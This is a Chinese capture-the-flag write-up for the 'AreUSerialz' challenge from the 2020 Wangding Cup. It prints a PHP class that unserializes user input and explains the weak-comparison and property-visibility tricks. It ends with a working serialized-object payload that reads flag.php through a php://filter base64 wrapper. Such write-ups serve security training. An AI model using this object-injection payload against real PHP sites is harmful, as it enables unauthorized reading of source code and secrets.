[网鼎杯 2020 青龙组]AreUSerialz
1.打开环境,看到如下源码
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
代码审计可以知道。
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
is_valid 函数要求了Get方法传入的str字符的ascii码必须要在32~125之间
必须要执行read方法,然后采用伪协议读文件的方法读写flag.php文件,read方法在process方法中调用,然而process方法又在_destruct方法中被调用。
else if($this->op == "2") {
$res = $this->read();
要执行read方法就需要 t h i s − > o p = = " 2 " , 然 而 , 传 入 this->op=="2",然而,传入 this−>op=="2",然而,传入this->op为"2"的话,在_destruct函数中,会被赋值为"1"。
通过$this->op=="2"知道是弱类型比较,所以我们可以传入一个整型的2。
4.构造payload的时候,由于protected $op; protected $filename; protected $content;三个成员变量的属性都是保护类型,所以对象序列化之后的值为:
?str=O:11:"FileHandler":3:{s:5:"%00*%00op";i:2;s:11:"%00*%00filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:10:"%00*%00content";N;}
然后,前面的is_valid函数有了严格的检测,ascii的值必须在32~125执行,%00的ascii码为0 空字符,无法通过,这里就要用到了php对类的属性检测不严格了,php>7.1版本以后,对类的成员属性检测不严格。
payload=
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
题目考点:
1. php的弱类型比较绕过
2. php>7.1版本以后,对类的成员属性检测不严格